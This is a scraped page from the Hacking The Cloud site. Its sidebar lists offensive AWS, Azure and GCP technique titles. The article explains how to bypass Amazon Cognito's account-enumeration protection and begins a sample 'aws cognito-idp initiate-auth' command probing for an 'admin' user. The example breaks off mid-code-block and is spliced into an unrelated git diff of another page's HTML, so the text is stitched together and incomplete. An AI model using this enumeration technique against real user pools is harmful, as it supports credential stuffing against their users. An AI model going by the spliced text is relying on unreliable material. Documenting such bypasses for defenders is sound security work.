Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#example-responses class=md-nav__link> <span class=md-ellipsis> Example Responses </span> </a> <nav class=md-nav aria-label="Example Responses"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-exists class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-does-not-exist class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user does not exist </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-off-and-user-exists class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors off and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-off-and-user-does-not-exist class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors off and user does not exist </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#cognito-idpsignup class=md-nav__link> <span class=md-ellipsis> cognito-idp:SignUp </span> </a> <nav class=md-nav aria-label=cognito-idp:SignUp> <ul class=md-nav__list> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-exists_1 class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-does-not-exist_1 class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user does not exist </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#detection-opportunities class=md-nav__link> <span class=md-ellipsis> Detection Opportunities </span> </a> <nav class=md-nav aria-label="Detection Opportunities"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#cloudtrail-and-cloudwatch-limitations class=md-nav__link> <span class=md-ellipsis> CloudTrail and CloudWatch Limitations </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/bypass_cognito_user_enumeration_controls.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Bypass Cognito Account Enumeration Controls</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p>AWS Docs: <a href=https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pool-managing-errors.html>Managing user existence error responses</a></p> </li> </ul> </div> <p>Amazon <a href=https://aws.amazon.com/cognito/ >Cognito</a> is a popular “sign-in as a service” offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.</p> <p>By default, Cognito will set a configuration called <code>Prevent user existence errors</code>. This is designed to prevent adversaries from <a href=https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account>enumerating accounts</a> and using that information for further attacks, such as <a href=https://owasp.org/www-community/attacks/Credential_stuffing>credential stuffing</a>.</p> <p>While this is useful in theory, and a good default to have, it can be bypassed via <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cognito-idp/sign-up.html>cognito-idp:SignUp</a> calls for usernames. This bypass was originally reported via a GitHub <a href=https://github.com/aws-amplify/amplify-js/issues/6238>issue</a> in July 2020 and Cognito is still vulnerable as of early 2024.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>Cognito user pools can be configured to prevent disclosing user existence errors via <a href=https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pool-managing-errors.html#cognito-user-pool-managing-errors-prevent-userexistence-errors>alias attributes</a> for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below. </p> </div> <h2 id=example-responses>Example Responses<a class=headerlink href=#example-responses title="Permanent link">&para;</a></h2> <p>To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The <code>admin</code> user exists in the user pool and is the account we will be trying to enumerate.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>The <code>client-id</code> value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client. </p> </div> <h3 id=prevent-user-existence-errors-on-and-user-exists>Prevent user existence errors on and user exists<a class=headerlink href=#prevent-user-existence-errors-on-and-user-exists title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code>$<span class=w> </span>aws<span class=w> </span>cognito-idp<span class=w> </span>initiate-auth<span class=w> </span><span class=se>\</span>
 --auth-flow<span class=w> </span>USER_PASSWORD_AUTH<span class=w> </span><span class=se>\</span>
 --client-id<span class=w> </span><span class=m>719</span>…<span class=w> </span><span class=se>\</span>
 --auth-parameters<span class=w> </span><span class=nv>USERNAME</span><span class=o>=</span>admin,PASSWORD<span class=o>=</span>blah
diff --git a/aws/enumeration/discover_secrets_in_public_aims/index.html b/aws/enumeration/discover_secrets_in_public_aims/index.html
index 7fa561cf3..29617b4ab 100644
--- a/aws/enumeration/discover_secrets_in_public_aims/index.html
+++ b/aws/enumeration/discover_secrets_in_public_aims/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to find public AMIs and get stored secrets."><link href=https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ rel=canonical><link href=../bypass_cognito_user_enumeration_controls/ rel=prev><link href=../enum_iam_user_role/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Discover secrets in public AMIs - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Discover secrets in public AMIs - Hacking The Cloud"><meta property=og:description content="How to find public AMIs and get stored secrets."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Discover secrets in public AMIs - Hacking The Cloud"><meta property=twitter:description content="How to find public AMIs and get stored secrets."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to find public AMIs and get stored secrets."><link href=https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ rel=canonical><link href=../bypass_cognito_user_enumeration_controls/ rel=prev><link href=../enum_iam_user_role/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Discover secrets in public AMIs - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Discover secrets in public AMIs - Hacking The Cloud"><meta property=og:description content="How to find public AMIs and get stored secrets."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Discover secrets in public AMIs - Hacking The Cloud"><meta property=twitter:description content="How to find public AMIs and get stored secrets."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#finding-exposed-amis class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Discover secrets in public AMIs </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: 